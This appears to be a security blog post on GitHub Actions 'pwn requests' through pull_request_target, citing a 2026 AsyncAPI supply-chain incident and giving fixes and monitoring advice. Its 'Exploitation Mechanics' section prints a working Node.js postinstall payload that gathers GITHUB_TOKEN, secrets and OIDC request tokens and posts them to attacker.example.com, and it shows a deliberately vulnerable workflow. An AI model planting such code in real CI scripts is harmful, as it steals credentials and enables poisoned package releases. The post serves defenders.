GitHub Actions Pwn Requests: How pull_request_target Exposes Your CI/CD Secrets to Attackers

The 'pwn request' attack vector lets external contributors trigger GitHub Actions workflows with access to repository secrets and write permissions by exploiting the pull_request_target trigger. The AsyncAPI incident — 37 malicious PRs, 58 days undetected — shows this vulnerability operating at scale. Here's the attack mechanics and how to fix it.

The Vulnerability

GitHub Actions has two triggers for pull request events: pull_request and pull_request_target. They look similar but behave very differently when it comes to security.

pull_request runs workflows in the context of the fork, with restricted permissions. Secrets are not accessible, and the GITHUB_TOKEN has read-only permissions on the target repository. Untrusted code from a contributor’s fork cannot access your secrets.

pull_request_target runs in the context of the base repository, not the fork. It has access to secrets. The GITHUB_TOKEN can have write permissions on the target repository. And crucially, the workflow code that runs is from the base repository’s default branch, not the contributor’s PR branch.

The security issue emerges when a workflow using pull_request_target checks out the contributor’s code and then runs it. This is a common pattern: organisations want to run tests or build checks on contributor PRs while having access to secrets for deployment or test infrastructure.

# DANGEROUS: This workflow runs in the privileged base context
# but executes untrusted PR code
name: PR Tests
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # <-- checks out PR code
      - run: npm test  # <-- executes PR contributor's code with base repo secrets

An attacker submitting a PR can modify the test scripts, package.json scripts, or any file that executes during the CI run to exfiltrate SECRETS.*, GITHUB_TOKEN, or OIDC tokens generated during the workflow.

The AsyncAPI Incident

The June 2026 AsyncAPI incident is the cleanest real-world demonstration of this attack pattern operating at scale.

An attacker submitted 37 pull requests to AsyncAPI repositories over a 58-day period. The first PRs were legitimate, minor contributions that built trust and gave the account contributor status. Later PRs introduced subtle modifications to workflow files and package scripts. The CI environment ran using pull_request_target semantics that gave workflow access to npm publish credentials via OIDC token grants.

When the malicious postinstall scripts executed in the CI environment, they accessed the OIDC token endpoint (token.actions.githubusercontent.com) and obtained short-lived tokens scoped to npm publish. Those tokens were used to publish trojaned versions of AsyncAPI packages with 2.9 million combined weekly downloads.

The 58-day window between first malicious PR and detection reflects a gap in monitoring: the organisation had no alerting on OIDC token requests from within build environments, no anomaly detection on npm publish events outside normal release processes, and no review of what PR workflows were accessing during execution.

Exploitation Mechanics

For a concrete example, here is how an attacker extracts secrets from a vulnerable workflow:

// injected into package.json postinstall or test script
const https = require('https');
const env = process.env;

// Collect all secrets available as environment variables
const data = JSON.stringify({
  secrets: Object.keys(env)
    .filter(k => k.startsWith('SECRET') || k === 'GITHUB_TOKEN')
    .reduce((acc, k) => ({ ...acc, [k]: env[k] }), {}),
  oidc_request_token: env.ACTIONS_ID_TOKEN_REQUEST_TOKEN,
  oidc_request_url: env.ACTIONS_ID_TOKEN_REQUEST_URL,
});

// Exfiltrate
const req = https.request({
  hostname: 'attacker.example.com',
  path: '/collect',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();

If ACTIONS_ID_TOKEN_REQUEST_TOKEN is present, the attacker can also make requests to the OIDC token URL to obtain short-lived tokens for any services the workflow has OIDC permission grants for.

What Gets Exposed

Depending on workflow configuration, a pwn request can exfiltrate:

Repository secrets: SECRETS.NPM_TOKEN, SECRETS.AWS_ACCESS_KEY_ID, SECRETS.DOCKER_REGISTRY_PASSWORD, or any other secrets configured in repository or organisation settings.

GITHUB_TOKEN: With write permissions, an attacker can push code to the repository, approve pull requests, create releases, or modify branch protection rules.

OIDC tokens: Short-lived tokens scoped to external services (npm, AWS, GCP, Azure). These expire quickly but are sufficient to complete publish or deployment operations during the workflow run.

Environment variables: Database connection strings, API endpoints, internal service URLs, and other configuration passed as environment variables to the build.

How to Fix It

Option 1: Use pull_request instead of pull_request_target where possible

If you do not need secrets in your PR check workflow, use pull_request. The restricted context prevents secret access entirely.

Option 2: Separate the privileged workflow from the untrusted code execution

Use a two-workflow pattern. The first workflow uses pull_request (restricted) and uploads build artifacts. The second workflow uses workflow_run to trigger after the first completes, runs in the privileged context, but only uses the uploaded artifacts rather than checking out PR code.

# First workflow (pull_request, restricted)
name: PR Build
on: pull_request
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/

# Second workflow (workflow_run, privileged, uses artifacts not PR code)
name: Deploy After PR Build
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: build-output
      # Deploy artifacts without checking out PR code

Option 3: Scope GITHUB_TOKEN permissions minimally

If you must use pull_request_target, restrict GITHUB_TOKEN permissions to the minimum required:

permissions:
  contents: read
  pull-requests: write
  # Do not grant write to packages, deployments, or other sensitive scopes

Option 4: Require manual approval for external contributors

Add environment protection rules that require a reviewer to approve workflow runs from first-time contributors or forked repositories:

jobs:
  test:
    environment: pr-review-required  # Protected environment requiring approval
    runs-on: ubuntu-latest

Configure the pr-review-required environment in repository settings to require review from a trusted team member before the workflow can access secrets.

Monitoring

Beyond fixing the vulnerability, monitor for exploitation attempts:

  • Alert on OIDC token requests (ACTIONS_ID_TOKEN_REQUEST_URL accessed) in workflows triggered by external pull requests
  • Monitor for npm publish events outside your normal release process or from unexpected actor accounts
  • Review GitHub audit logs for workflow.dispatched and workflow.run_attempt_approved events involving external accounts
  • Alert on secrets usage in workflows triggered by pull_request_target from forked repositories

The AsyncAPI attack ran for 58 days undetected. With the monitoring above, the anomalous npm publish or unexpected OIDC token usage would have surfaced in days.